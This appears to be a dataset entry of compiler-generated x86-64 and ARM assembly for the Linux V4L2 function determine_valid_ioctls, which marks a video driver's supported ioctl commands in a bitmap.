call SET_VALID_IOCTL@PLT
mov edx, DWORD PTR vidioc_g_audio[rip]
mov ecx, DWORD PTR VIDIOC_G_AUDIO[rip]
mov rax, QWORD PTR -24[rbp]
mov esi, ecx
mov rdi, rax
call SET_VALID_IOCTL@PLT
mov edx, DWORD PTR vidioc_s_audio[rip]
mov ecx, DWORD PTR VIDIOC_S_AUDIO[rip]
mov rax, QWORD PTR -24[rbp]
mov esi, ecx
mov rdi, rax
call SET_VALID_IOCTL@PLT
mov edx, DWORD PTR vidioc_query_dv_timings[rip]
mov ecx, DWORD PTR VIDIOC_QUERY_DV_TIMINGS[rip]
mov rax, QWORD PTR -24[rbp]
mov esi, ecx
mov rdi, rax
call SET_VALID_IOCTL@PLT
mov edx, DWORD PTR vidioc_s_edid[rip]
mov ecx, DWORD PTR VIDIOC_S_EDID[rip]
mov rax, QWORD PTR -24[rbp]
mov esi, ecx
mov rdi, rax
call SET_VALID_IOCTL@PLT
.L60:
cmp DWORD PTR -28[rbp], 0
je .L61
mov edx, DWORD PTR vidioc_enum_output[rip]
mov ecx, DWORD PTR VIDIOC_ENUMOUTPUT[rip]
mov rax, QWORD PTR -24[rbp]
mov esi, ecx
mov rdi, rax
call SET_VALID_IOCTL@PLT
mov edx, DWORD PTR vidioc_g_output[rip]
mov ecx, DWORD PTR VIDIOC_G_OUTPUT[rip]
mov rax, QWORD PTR -24[rbp]
mov esi, ecx
mov rdi, rax
call SET_VALID_IOCTL@PLT
mov edx, DWORD PTR vidioc_s_output[rip]
mov ecx, DWORD PTR VIDIOC_S_OUTPUT[rip]
mov rax, QWORD PTR -24[rbp]
mov esi, ecx
mov rdi, rax
call SET_VALID_IOCTL@PLT
mov edx, DWORD PTR vidioc_enumaudout[rip]
mov ecx, DWORD PTR VIDIOC_ENUMAUDOUT[rip]
mov rax, QWORD PTR -24[rbp]
mov esi, ecx
mov rdi, rax
call SET_VALID_IOCTL@PLT
mov edx, DWORD PTR vidioc_g_audout[rip]
mov ecx, DWORD PTR VIDIOC_G_AUDOUT[rip]
mov rax, QWORD PTR -24[rbp]
mov esi, ecx
mov rdi, rax
call SET_VALID_IOCTL@PLT
mov edx, DWORD PTR vidioc_s_audout[rip]
mov ecx, DWORD PTR VIDIOC_S_AUDOUT[rip]
mov rax, QWORD PTR -24[rbp]
mov esi, ecx
mov rdi, rax
call SET_VALID_IOCTL@PLT
.L61:
mov rax, QWORD PTR -24[rbp]
mov rax, QWORD PTR 8[rax]
test rax, rax
jne .L62
mov rax, QWORD PTR -72[rbp]
mov rdx, QWORD PTR [rax]
mov rax, QWORD PTR VFL_TYPE_GRABBER[rip]
cmp rdx, rax
jne .L63
mov rax, QWORD PTR -24[rbp]
mov rax, QWORD PTR [rax]
test rax, rax
je .L63
.L62:
mov ebx, DWORD PTR valid_ioctls[rip]
mov eax, DWORD PTR VIDIOC_G_PARM[rip]
mov edi, eax
call _IOC_NR@PLT
mov esi, ebx
mov edi, eax
call set_bit@PLT
.L63:
mov edx, DWORD PTR vidioc_s_parm[rip]
mov ecx, DWORD PTR VIDIOC_S_PARM[rip]
mov rax, QWORD PTR -24[rbp]
mov esi, ecx
mov rdi, rax
call SET_VALID_IOCTL@PLT
mov edx, DWORD PTR vidioc_s_dv_timings[rip]
mov ecx, DWORD PTR VIDIOC_S_DV_TIMINGS[rip]
mov rax, QWORD PTR -24[rbp]
mov esi, ecx
mov rdi, rax
call SET_VALID_IOCTL@PLT
mov edx, DWORD PTR vidioc_g_dv_timings[rip]
mov ecx, DWORD PTR VIDIOC_G_DV_TIMINGS[rip]
mov rax, QWORD PTR -24[rbp]
mov esi, ecx
mov rdi, rax
call SET_VALID_IOCTL@PLT
mov edx, DWORD PTR vidioc_enum_dv_timings[rip]
mov ecx, DWORD PTR VIDIOC_ENUM_DV_TIMINGS[rip]
mov rax, QWORD PTR -24[rbp]
mov esi, ecx
mov rdi, rax
call SET_VALID_IOCTL@PLT
mov edx, DWORD PTR vidioc_dv_timings_cap[rip]
mov ecx, DWORD PTR VIDIOC_DV_TIMINGS_CAP[rip]
mov rax, QWORD PTR -24[rbp]
mov esi, ecx
mov rdi, rax
call SET_VALID_IOCTL@PLT
mov edx, DWORD PTR vidioc_g_edid[rip]
mov ecx, DWORD PTR VIDIOC_G_EDID[rip]
mov rax, QWORD PTR -24[rbp]
mov esi, ecx
mov rdi, rax
call SET_VALID_IOCTL@PLT
.L58:
cmp DWORD PTR -28[rbp], 0
je .L64
cmp DWORD PTR -44[rbp], 0
jne .L65
cmp DWORD PTR -40[rbp], 0
je .L64
.L65:
mov edx, DWORD PTR vidioc_g_modulator[rip]
mov ecx, DWORD PTR VIDIOC_G_MODULATOR[rip]
mov rax, QWORD PTR -24[rbp]
mov esi, ecx
mov rdi, rax
call SET_VALID_IOCTL@PLT
mov edx, DWORD PTR vidioc_s_modulator[rip]
mov ecx, DWORD PTR VIDIOC_S_MODULATOR[rip]
mov rax, QWORD PTR -24[rbp]
mov esi, ecx
mov rdi, rax
call SET_VALID_IOCTL@PLT
.L64:
cmp DWORD PTR -32[rbp], 0
je .L66
mov edx, DWORD PTR vidioc_g_tuner[rip]
mov ecx, DWORD PTR VIDIOC_G_TUNER[rip]
mov rax, QWORD PTR -24[rbp]
mov esi, ecx
mov rdi, rax
call SET_VALID_IOCTL@PLT
mov edx, DWORD PTR vidioc_s_tuner[rip]
mov ecx, DWORD PTR VIDIOC_S_TUNER[rip]
mov rax, QWORD PTR -24[rbp]
mov esi, ecx
mov rdi, rax
call SET_VALID_IOCTL@PLT
mov edx, DWORD PTR vidioc_s_hw_freq_seek[rip]
mov ecx, DWORD PTR VIDIOC_S_HW_FREQ_SEEK[rip]
mov rax, QWORD PTR -24[rbp]
mov esi, ecx
mov rdi, rax
call SET_VALID_IOCTL@PLT
.L66:
mov ecx, DWORD PTR BASE_VIDIOC_PRIVATE[rip]
mov rax, QWORD PTR -72[rbp]
mov edx, DWORD PTR 16[rax]
mov esi, DWORD PTR valid_ioctls[rip]
mov rax, QWORD PTR -72[rbp]
mov eax, DWORD PTR 16[rax]
mov edi, eax
call bitmap_andnot@PLT
nop
mov rbx, QWORD PTR -8[rbp]
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size determine_valid_ioctls, .-determine_valid_ioctls
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "468066.c"
.text
.comm BASE_VIDIOC_PRIVATE,4,4
.comm VFL_DIR_RX,4,4
.comm VFL_DIR_TX,4,4
.comm VFL_TYPE_GRABBER,4,4
.comm VFL_TYPE_RADIO,4,4
.comm VFL_TYPE_SDR,4,4
.comm VFL_TYPE_TOUCH,4,4
.comm VFL_TYPE_VBI,4,4
.comm VIDIOC_CREATE_BUFS,4,4
.comm VIDIOC_CROPCAP,4,4
.comm VIDIOC_DBG_G_CHIP_INFO,4,4
.comm VIDIOC_DBG_G_REGISTER,4,4
.comm VIDIOC_DBG_S_REGISTER,4,4
.comm VIDIOC_DECODER_CMD,4,4
.comm VIDIOC_DQBUF,4,4
.comm VIDIOC_DQEVENT,4,4
.comm VIDIOC_DV_TIMINGS_CAP,4,4
.comm VIDIOC_ENCODER_CMD,4,4
.comm VIDIOC_ENUMAUDIO,4,4
.comm VIDIOC_ENUMAUDOUT,4,4
.comm VIDIOC_ENUMINPUT,4,4
.comm VIDIOC_ENUMOUTPUT,4,4
.comm VIDIOC_ENUMSTD,4,4
.comm VIDIOC_ENUM_DV_TIMINGS,4,4
.comm VIDIOC_ENUM_FMT,4,4
.comm VIDIOC_ENUM_FRAMEINTERVALS,4,4
.comm VIDIOC_ENUM_FRAMESIZES,4,4
.comm VIDIOC_ENUM_FREQ_BANDS,4,4
.comm VIDIOC_EXPBUF,4,4
.comm VIDIOC_G_AUDIO,4,4
.comm VIDIOC_G_AUDOUT,4,4
.comm VIDIOC_G_CROP,4,4
.comm VIDIOC_G_CTRL,4,4
.comm VIDIOC_G_DV_TIMINGS,4,4
.comm VIDIOC_G_EDID,4,4
.comm VIDIOC_G_ENC_INDEX,4,4
.comm VIDIOC_G_EXT_CTRLS,4,4
.comm VIDIOC_G_FBUF,4,4
.comm VIDIOC_G_FMT,4,4
.comm VIDIOC_G_FREQUENCY,4,4
.comm VIDIOC_G_INPUT,4,4
.comm VIDIOC_G_JPEGCOMP,4,4
.comm VIDIOC_G_MODULATOR,4,4
.comm VIDIOC_G_OUTPUT,4,4
.comm VIDIOC_G_PARM,4,4
.comm VIDIOC_G_PRIORITY,4,4
.comm VIDIOC_G_SELECTION,4,4
.comm VIDIOC_G_SLICED_VBI_CAP,4,4
.comm VIDIOC_G_STD,4,4
.comm VIDIOC_G_TUNER,4,4
.comm VIDIOC_LOG_STATUS,4,4
.comm VIDIOC_OVERLAY,4,4
.comm VIDIOC_PREPARE_BUF,4,4
.comm VIDIOC_QBUF,4,4
.comm VIDIOC_QUERYBUF,4,4
.comm VIDIOC_QUERYCAP,4,4
.comm VIDIOC_QUERYCTRL,4,4
.comm VIDIOC_QUERYMENU,4,4
.comm VIDIOC_QUERYSTD,4,4
.comm VIDIOC_QUERY_DV_TIMINGS,4,4
.comm VIDIOC_QUERY_EXT_CTRL,4,4
.comm VIDIOC_REQBUFS,4,4
.comm VIDIOC_STREAMOFF,4,4
.comm VIDIOC_STREAMON,4,4
.comm VIDIOC_SUBSCRIBE_EVENT,4,4
.comm VIDIOC_S_AUDIO,4,4
.comm VIDIOC_S_AUDOUT,4,4
.comm VIDIOC_S_CROP,4,4
.comm VIDIOC_S_CTRL,4,4
.comm VIDIOC_S_DV_TIMINGS,4,4
.comm VIDIOC_S_EDID,4,4
.comm VIDIOC_S_EXT_CTRLS,4,4
.comm VIDIOC_S_FBUF,4,4
.comm VIDIOC_S_FMT,4,4
.comm VIDIOC_S_FREQUENCY,4,4
.comm VIDIOC_S_HW_FREQ_SEEK,4,4
.comm VIDIOC_S_INPUT,4,4
.comm VIDIOC_S_JPEGCOMP,4,4
.comm VIDIOC_S_MODULATOR,4,4
.comm VIDIOC_S_OUTPUT,4,4
.comm VIDIOC_S_PARM,4,4
.comm VIDIOC_S_PRIORITY,4,4
.comm VIDIOC_S_SELECTION,4,4
.comm VIDIOC_S_STD,4,4
.comm VIDIOC_S_TUNER,4,4
.comm VIDIOC_TRY_DECODER_CMD,4,4
.comm VIDIOC_TRY_ENCODER_CMD,4,4
.comm VIDIOC_TRY_EXT_CTRLS,4,4
.comm VIDIOC_TRY_FMT,4,4
.comm VIDIOC_UNSUBSCRIBE_EVENT,4,4
.comm valid_ioctls,4,4
.comm vidioc_create_bufs,4,4
.comm vidioc_decoder_cmd,4,4
.comm vidioc_dqbuf,4,4
.comm vidioc_dv_timings_cap,4,4
.comm vidioc_encoder_cmd,4,4
.comm vidioc_enum_dv_timings,4,4
.comm vidioc_enum_frameintervals,4,4
.comm vidioc_enum_framesizes,4,4
.comm vidioc_enum_input,4,4
.comm vidioc_enum_output,4,4
.comm vidioc_enumaudio,4,4
.comm vidioc_enumaudout,4,4
.comm vidioc_expbuf,4,4
.comm vidioc_g_audio,4,4
.comm vidioc_g_audout,4,4
.comm vidioc_g_dv_timings,4,4
.comm vidioc_g_edid,4,4
.comm vidioc_g_enc_index,4,4
.comm vidioc_g_fbuf,4,4
.comm vidioc_g_frequency,4,4
.comm vidioc_g_input,4,4
.comm vidioc_g_jpegcomp,4,4
.comm vidioc_g_modulator,4,4
.comm vidioc_g_output,4,4
.comm vidioc_g_selection,4,4
.comm vidioc_g_sliced_vbi_cap,4,4
.comm vidioc_g_std,4,4
.comm vidioc_g_tuner,4,4
.comm vidioc_log_status,4,4
.comm vidioc_overlay,4,4
.comm vidioc_prepare_buf,4,4
.comm vidioc_qbuf,4,4
.comm vidioc_query_dv_timings,4,4
.comm vidioc_querybuf,4,4
.comm vidioc_querycap,4,4
.comm vidioc_querystd,4,4
.comm vidioc_reqbufs,4,4
.comm vidioc_s_audio,4,4
.comm vidioc_s_audout,4,4
.comm vidioc_s_dv_timings,4,4
.comm vidioc_s_edid,4,4
.comm vidioc_s_fbuf,4,4
.comm vidioc_s_frequency,4,4
.comm vidioc_s_hw_freq_seek,4,4
.comm vidioc_s_input,4,4
.comm vidioc_s_jpegcomp,4,4
.comm vidioc_s_modulator,4,4
.comm vidioc_s_output,4,4
.comm vidioc_s_parm,4,4
.comm vidioc_s_selection,4,4
.comm vidioc_s_std,4,4
.comm vidioc_s_tuner,4,4
.comm vidioc_streamoff,4,4
.comm vidioc_streamon,4,4
.comm vidioc_subscribe_event,4,4
.comm vidioc_try_decoder_cmd,4,4
.comm vidioc_try_encoder_cmd,4,4
.comm vidioc_unsubscribe_event,4,4
.align 2
.syntax unified
.arm
.fpu softvfp
.type determine_valid_ioctls, %function
determine_valid_ioctls:
@ args = 0, pretend = 0, frame = 40
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #40
str r0, [fp, #-40]
ldr r3, .L67+576
ldr r3, [r3]
ldr r2, .L67+580
ldr r2, [r2]
mov r1, r2
mov r0, r3
bl DECLARE_BITMAP
ldr r3, [fp, #-40]
ldr r3, [r3, #16]
str r3, [fp, #-36]
ldr r3, [fp, #-40]
ldr r2, [r3]
ldr r3, .L67+480
ldr r3, [r3]
cmp r2, r3
moveq r3, #1
movne r3, #0
and r3, r3, #255
str r3, [fp, #-32]
ldr r3, [fp, #-40]
ldr r2, [r3]
ldr r3, .L67
ldr r3, [r3]
cmp r2, r3
moveq r3, #1
movne r3, #0
and r3, r3, #255
str r3, [fp, #-28]
ldr r3, [fp, #-40]
ldr r2, [r3]
ldr r3, .L67+4
ldr r3, [r3]
cmp r2, r3
moveq r3, #1
movne r3, #0
and r3, r3, #255
str r3, [fp, #-24]
ldr r3, [fp, #-40]
ldr r2, [r3]
ldr r3, .L67+8
ldr r3, [r3]
cmp r2, r3
moveq r3, #1
movne r3, #0
and r3, r3, #255
str r3, [fp, #-20]
ldr r3, [fp, #-40]
ldr r2, [r3]
ldr r3, .L67+12
ldr r3, [r3]
cmp r2, r3
moveq r3, #1
movne r3, #0
and r3, r3, #255
str r3, [fp, #-16]
ldr r3, [fp, #-40]
ldr r2, [r3, #4]
ldr r3, .L67+16
ldr r3, [r3]
cmp r2, r3
movne r3, #1
moveq r3, #0
and r3, r3, #255
str r3, [fp, #-12]
ldr r3, [fp, #-40]
ldr r2, [r3, #4]
ldr r3, .L67+20
ldr r3, [r3]
cmp r2, r3
movne r3, #1
moveq r3, #0
and r3, r3, #255
str r3, [fp, #-8]
ldr r3, .L67+576
ldr r3, [r3]
ldr r2, .L67+580
ldr r2, [r2]
mov r1, r2
mov r0, r3
bl bitmap_zero
ldr r3, .L67+24
ldr r3, [r3]
ldr r2, .L67+28
ldr r2, [r2]
mov r1, r3
ldr r0, [fp, #-36]
bl SET_VALID_IOCTL
ldr r3, .L67+32
ldr r3, [r3]
mov r0, r3
bl _IOC_NR
mov r2, r0
ldr r3, .L67+576
ldr r3, [r3]
mov r1, r3
mov r0, r2
bl set_bit
ldr r3, .L67+36
ldr r3, [r3]
mov r0, r3
bl _IOC_NR
mov r2, r0
ldr r3, .L67+576
ldr r3, [r3]
mov r1, r3
mov r0, r2
bl set_bit
ldr r3, [fp, #-40]
ldr r3, [r3, #12]
cmp r3, #0
bne .L2
ldr r3, [fp, #-36]
ldr r3, [r3, #256]
cmp r3, #0
beq .L3
.L2:
ldr r3, .L67+40
ldr r3, [r3]
mov r0, r3
bl _IOC_NR
mov r2, r0
ldr r3, .L67+576
ldr r3, [r3]
mov r1, r3
mov r0, r2
bl set_bit
.L3:
ldr r3, [fp, #-40]
ldr r3, [r3, #12]
cmp r3, #0
bne .L4
ldr r3, [fp, #-36]
ldr r3, [r3, #252]
cmp r3, #0
beq .L5
.L4:
ldr r3, .L67+44
ldr r3, [r3]
mov r0, r3
bl _IOC_NR
mov r2, r0
ldr r3, .L67+576
ldr r3, [r3]
mov r1, r3
mov r0, r2
bl set_bit
.L5:
ldr r3, [fp, #-40]
ldr r3, [r3, #12]
cmp r3, #0
bne .L6
ldr r3, [fp, #-36]
ldr r3, [r3, #248]
cmp r3, #0
bne .L6
ldr r3, [fp, #-36]
ldr r3, [r3, #240]
cmp r3, #0
beq .L7
.L6:
ldr r3, .L67+48
ldr r3, [r3]
mov r0, r3
bl _IOC_NR
mov r2, r0
ldr r3, .L67+576
ldr r3, [r3]
mov r1, r3
mov r0, r2
bl set_bit
.L7:
ldr r3, [fp, #-40]
ldr r3, [r3, #12]
cmp r3, #0
bne .L8
ldr r3, [fp, #-36]
ldr r3, [r3, #244]
cmp r3, #0
bne .L8
ldr r3, [fp, #-36]
ldr r3, [r3, #236]
cmp r3, #0
beq .L9
.L8:
ldr r3, .L67+52
ldr r3, [r3]
mov r0, r3
bl _IOC_NR
mov r2, r0
ldr r3, .L67+576
ldr r3, [r3]
mov r1, r3
mov r0, r2
bl set_bit
.L9:
ldr r3, [fp, #-40]
ldr r3, [r3, #12]
cmp r3, #0
bne .L10
ldr r3, [fp, #-36]
ldr r3, [r3, #240]
cmp r3, #0
beq .L11
.L10:
ldr r3, .L67+56
ldr r3, [r3]
mov r0, r3
bl _IOC_NR
mov r2, r0
ldr r3, .L67+576
ldr r3, [r3]
mov r1, r3
mov r0, r2
bl set_bit
.L11:
ldr r3, [fp, #-40]
ldr r3, [r3, #12]
cmp r3, #0
bne .L12
ldr r3, [fp, #-36]
ldr r3, [r3, #236]
cmp r3, #0
beq .L13
.L12:
ldr r3, .L67+60
ldr r3, [r3]
mov r0, r3
bl _IOC_NR
mov r2, r0
ldr r3, .L67+576
ldr r3, [r3]
mov r1, r3
mov r0, r2
bl set_bit
.L13:
ldr r3, [fp, #-40]
ldr r3, [r3, #12]
cmp r3, #0
bne .L14
ldr r3, [fp, #-36]
ldr r3, [r3, #232]
cmp r3, #0
beq .L15
.L14:
ldr r3, .L67+64
ldr r3, [r3]
mov r0, r3
bl _IOC_NR
mov r2, r0
ldr r3, .L67+576
ldr r3, [r3]
mov r1, r3
mov r0, r2
bl set_bit
.L15:
ldr r3, [fp, #-40]
ldr r3, [r3, #12]
cmp r3, #0
bne .L16
ldr r3, [fp, #-36]
ldr r3, [r3, #228]
cmp r3, #0
beq .L17
.L16:
ldr r3, .L67+68
ldr r3, [r3]
mov r0, r3
bl _IOC_NR
mov r2, r0
ldr r3, .L67+576
ldr r3, [r3]
mov r1, r3
mov r0, r2
bl set_bit
.L17:
ldr r3, .L67+72
ldr r3, [r3]
ldr r2, .L67+76
ldr r2, [r2]
mov r1, r3
ldr r0, [fp, #-36]
bl SET_VALID_IOCTL
ldr r3, .L67+80
ldr r3, [r3]
ldr r2, .L67+84
ldr r2, [r2]
mov r1, r3
ldr r0, [fp, #-36]
bl SET_VALID_IOCTL
ldr r3, .L67+88
ldr r3, [r3]
ldr r2, .L67+92
ldr r2, [r2]
mov r1, r3
ldr r0, [fp, #-36]
bl SET_VALID_IOCTL
ldr r3, .L67+96
ldr r3, [r3]
ldr r2, .L67+100
ldr r2, [r2]
mov r1, r3
ldr r0, [fp, #-36]
bl SET_VALID_IOCTL
ldr r3, .L67+104
ldr r3, [r3]
ldr r2, .L67+100
ldr r2, [r2]
mov r1, r3
ldr r0, [fp, #-36]
bl SET_VALID_IOCTL
ldr r3, .L67+108
ldr r3, [r3]
ldr r2, .L67+112
ldr r2, [r2]
mov r1, r3
ldr r0, [fp, #-36]
bl SET_VALID_IOCTL
ldr r3, [fp, #-36]
ldr r3, [r3, #224]
cmp r3, #0
bne .L18
ldr r3, [fp, #-36]
ldr r3, [r3, #220]
cmp r3, #0
bne .L18
ldr r3, [fp, #-36]
ldr r3, [r3, #216]
cmp r3, #0
beq .L19
.L18:
ldr r3, .L67+116
ldr r3, [r3]
mov r0, r3
bl _IOC_NR
mov r2, r0
ldr r3, .L67+576
ldr r3, [r3]
mov r1, r3
mov r0, r2
bl set_bit
.L19:
ldr r3, [fp, #-32]
cmp r3, #0
bne .L20
ldr r3, [fp, #-16]
cmp r3, #0
beq .L21
.L20:
ldr r3, [fp, #-12]
cmp r3, #0
beq .L22
ldr r3, [fp, #-36]
ldr r3, [r3, #212]
cmp r3, #0
bne .L23
ldr r3, [fp, #-36]
ldr r3, [r3, #208]
cmp r3, #0
bne .L23
ldr r3, [fp, #-36]
ldr r3, [r3, #204]
cmp r3, #0
bne .L23
.L22:
ldr r3, [fp, #-8]
cmp r3, #0
beq .L24
ldr r3, [fp, #-36]
ldr r3, [r3, #200]
cmp r3, #0
bne .L23
ldr r3, [fp, #-36]
ldr r3, [r3, #196]
cmp r3, #0
beq .L24
.L23:
ldr r3, .L67+252
ldr r3, [r3]
mov r0, r3
bl _IOC_NR
mov r2, r0
ldr r3, .L67+576
ldr r3, [r3]
mov r1, r3
mov r0, r2
bl set_bit
.L24:
ldr r3, [fp, #-12]
cmp r3, #0
beq .L25
ldr r3, [fp, #-36]
ldr r3, [r3, #192]
cmp r3, #0
bne .L26
ldr r3, [fp, #-36]
ldr r3, [r3, #188]
cmp r3, #0
bne .L26
ldr r3, [fp, #-36]
ldr r3, [r3, #184]
cmp r3, #0
bne .L26
ldr r3, [fp, #-36]
ldr r3, [r3, #180]
cmp r3, #0
bne .L26
.L25:
ldr r3, [fp, #-8]
cmp r3, #0
beq .L27
ldr r3, [fp, #-36]
ldr r3, [r3, #176]
cmp r3, #0
bne .L26
ldr r3, [fp, #-36]
ldr r3, [r3, #172]
cmp r3, #0
bne .L26
ldr r3, [fp, #-36]
ldr r3, [r3, #168]
cmp r3, #0
bne .L26
ldr r3, [fp, #-36]
ldr r3, [r3, #164]
cmp r3, #0
beq .L27
.L26:
ldr r3, .L67+256
ldr r3, [r3]
mov r0, r3
bl _IOC_NR
mov r2, r0
ldr r3, .L67+576
ldr r3, [r3]
mov r1, r3
mov r0, r2
bl set_bit
.L27:
ldr r3, [fp, #-12]
cmp r3, #0
beq .L28
ldr r3, [fp, #-36]
ldr r3, [r3, #160]
cmp r3, #0
bne .L29
ldr r3, [fp, #-36]
ldr r3, [r3, #156]
cmp r3, #0
bne .L29
ldr r3, [fp, #-36]
ldr r3, [r3, #152]
cmp r3, #0
bne .L29
ldr r3, [fp, #-36]
ldr r3, [r3, #148]
cmp r3, #0
bne .L29
.L28:
ldr r3, [fp, #-8]
cmp r3, #0
beq .L30
ldr r3, [fp, #-36]
ldr r3, [r3, #144]
cmp r3, #0
bne .L29
ldr r3, [fp, #-36]
ldr r3, [r3, #140]
cmp r3, #0
bne .L29
ldr r3, [fp, #-36]
ldr r3, [r3, #136]
cmp r3, #0
bne .L29
ldr r3, [fp, #-36]
ldr r3, [r3, #132]
cmp r3, #0
beq .L30
.L29:
ldr r3, .L67+260
ldr r3, [r3]
mov r0, r3
bl _IOC_NR
mov r2, r0
ldr r3, .L67+576
ldr r3, [r3]
mov r1, r3
mov r0, r2
bl set_bit
.L30:
ldr r3, [fp, #-12]
cmp r3, #0
beq .L31
ldr r3, [fp, #-36]
ldr r3, [r3, #128]
cmp r3, #0
bne .L32
ldr r3, [fp, #-36]
ldr r3, [r3, #124]
cmp r3, #0
bne .L32
ldr r3, [fp, #-36]
ldr r3, [r3, #120]
cmp r3, #0
bne .L32
ldr r3, [fp, #-36]
ldr r3, [r3, #116]
cmp r3, #0
bne .L32
.L31:
ldr r3, [fp, #-8]
cmp r3, #0
beq .L33
ldr r3, [fp, #-36]
ldr r3, [r3, #112]
cmp r3, #0
bne .L32
ldr r3, [fp, #-36]
ldr r3, [r3, #108]
cmp r3, #0
bne .L32
ldr r3, [fp, #-36]
ldr r3, [r3, #104]
cmp r3, #0
bne .L32
ldr r3, [fp, #-36]
ldr r3, [r3, #100]
cmp r3, #0
beq .L33
.L32:
ldr r3, .L67+264
ldr r3, [r3]
mov r0, r3
bl _IOC_NR
mov r2, r0
ldr r3, .L67+576
ldr r3, [r3]
mov r1, r3
mov r0, r2
bl set_bit
.L33:
ldr r3, .L67+120
ldr r3, [r3]
ldr r2, .L67+124
ldr r2, [r2]
mov r1, r3
ldr r0, [fp, #-36]
bl SET_VALID_IOCTL
ldr r3, .L67+128
ldr r3, [r3]
ldr r2, .L67+132
ldr r2, [r2]
mov r1, r3
ldr r0, [fp, #-36]
bl SET_VALID_IOCTL
ldr r3, .L67+136
ldr r3, [r3]
ldr r2, .L67+140
ldr r2, [r2]
mov r1, r3
ldr r0, [fp, #-36]
bl SET_VALID_IOCTL
ldr r3, .L67+144
ldr r3, [r3]
ldr r2, .L67+148
ldr r2, [r2]
mov r1, r3
ldr r0, [fp, #-36]
bl SET_VALID_IOCTL
ldr r3, .L67+152
ldr r3, [r3]
ldr r2, .L67+156
ldr r2, [r2]
mov r1, r3
ldr r0, [fp, #-36]
bl SET_VALID_IOCTL
ldr r3, .L67+160
ldr r3, [r3]
ldr r2, .L67+164
ldr r2, [r2]
mov r1, r3
ldr r0, [fp, #-36]
bl SET_VALID_IOCTL
ldr r3, .L67+168
ldr r3, [r3]
ldr r2, .L67+172
ldr r2, [r2]
mov r1, r3
ldr r0, [fp, #-36]
bl SET_VALID_IOCTL
ldr r3, .L67+176
ldr r3, [r3]
ldr r2, .L67+180
ldr r2, [r2]
mov r1, r3
ldr r0, [fp, #-36]
bl SET_VALID_IOCTL
ldr r3, .L67+184
ldr r3, [r3]
ldr r2, .L67+188
ldr r2, [r2]
mov r1, r3
ldr r0, [fp, #-36]
bl SET_VALID_IOCTL
ldr r3, .L67+192
ldr r3, [r3]
ldr r2, .L67+196
ldr r2, [r2]
mov r1, r3
ldr r0, [fp, #-36]
bl SET_VALID_IOCTL
ldr r3, .L67+200
ldr r3, [r3]
ldr r2, .L67+204
ldr r2, [r2]
mov r1, r3
ldr r0, [fp, #-36]
bl SET_VALID_IOCTL
ldr r3, .L67+208
ldr r3, [r3]
ldr r2, .L67+212
ldr r2, [r2]
mov r1, r3
ldr r0, [fp, #-36]
bl SET_VALID_IOCTL
ldr r3, [fp, #-36]
ldr r3, [r3, #96]
cmp r3, #0
beq .L34
ldr r3, .L67+216
ldr r3, [r3]
mov r0, r3
bl _IOC_NR
mov r2, r0
ldr r3, .L67+576
ldr r3, [r3]
mov r1, r3
mov r0, r2
bl set_bit
ldr r3, .L67+220
ldr r3, [r3]
mov r0, r3
bl _IOC_NR
mov r2, r0
ldr r3, .L67+576
ldr r3, [r3]
mov r1, r3
mov r0, r2
bl set_bit
.L34:
ldr r3, [fp, #-36]
ldr r3, [r3, #92]
cmp r3, #0
beq .L35
ldr r3, .L67+224
ldr r3, [r3]
mov r0, r3
bl _IOC_NR
mov r2, r0
ldr r3, .L67+576
ldr r3, [r3]
mov r1, r3
mov r0, r2
bl set_bit
.L35:
ldr r3, .L67+228
ldr r3, [r3]
ldr r2, .L67+232
ldr r2, [r2]
mov r1, r3
ldr r0, [fp, #-36]
bl SET_VALID_IOCTL
ldr r3, .L67+236
ldr r3, [r3]
ldr r2, .L67+240
ldr r2, [r2]
mov r1, r3
ldr r0, [fp, #-36]
bl SET_VALID_IOCTL
b .L36
.L21:
ldr r3, [fp, #-28]
cmp r3, #0
beq .L37
ldr r3, [fp, #-12]
cmp r3, #0
beq .L38
ldr r3, [fp, #-36]
ldr r3, [r3, #88]
cmp r3, #0
bne .L39
ldr r3, [fp, #-36]
ldr r3, [r3, #84]
cmp r3, #0
bne .L39
.L38:
ldr r3, [fp, #-8]
cmp r3, #0
beq .L40
ldr r3, [fp, #-36]
ldr r3, [r3, #80]
cmp r3, #0
bne .L39
ldr r3, [fp, #-36]
ldr r3, [r3, #76]
cmp r3, #0
beq .L40
.L39:
ldr r3, .L67+256
ldr r3, [r3]
mov r0, r3
bl _IOC_NR
mov r2, r0
ldr r3, .L67+576
ldr r3, [r3]
mov r1, r3
mov r0, r2
bl set_bit
.L40:
ldr r3, [fp, #-12]
cmp r3, #0
beq .L41
ldr r3, [fp, #-36]
ldr r3, [r3, #72]
cmp r3, #0
bne .L42
ldr r3, [fp, #-36]
ldr r3, [r3, #68]
cmp r3, #0
bne .L42
.L41:
ldr r3, [fp, #-8]
cmp r3, #0
beq .L43
ldr r3, [fp, #-36]
ldr r3, [r3, #64]
cmp r3, #0
bne .L42
ldr r3, [fp, #-36]
ldr r3, [r3, #60]
cmp r3, #0
beq .L43
.L42:
ldr r3, .L67+260
ldr r3, [r3]
mov r0, r3
bl _IOC_NR
mov r2, r0
ldr r3, .L67+576
ldr r3, [r3]
mov r1, r3
mov r0, r2
bl set_bit
.L43:
ldr r3, [fp, #-12]
cmp r3, #0
beq .L44
ldr r3, [fp, #-36]
ldr r3, [r3, #56]
cmp r3, #0
bne .L45
ldr r3, [fp, #-36]
ldr r3, [r3, #52]
cmp r3, #0
bne .L45
.L44:
ldr r3, [fp, #-8]
cmp r3, #0
beq .L46
ldr r3, [fp, #-36]
ldr r3, [r3, #48]
cmp r3, #0
bne .L45
ldr r3, [fp, #-36]
ldr r3, [r3, #44]
cmp r3, #0
beq .L46
.L45:
ldr r3, .L67+264
ldr r3, [r3]
mov r0, r3
bl _IOC_NR
mov r2, r0
ldr r3, .L67+576
ldr r3, [r3]
mov r1, r3
mov r0, r2
bl set_bit
.L46:
ldr r3, .L67+244
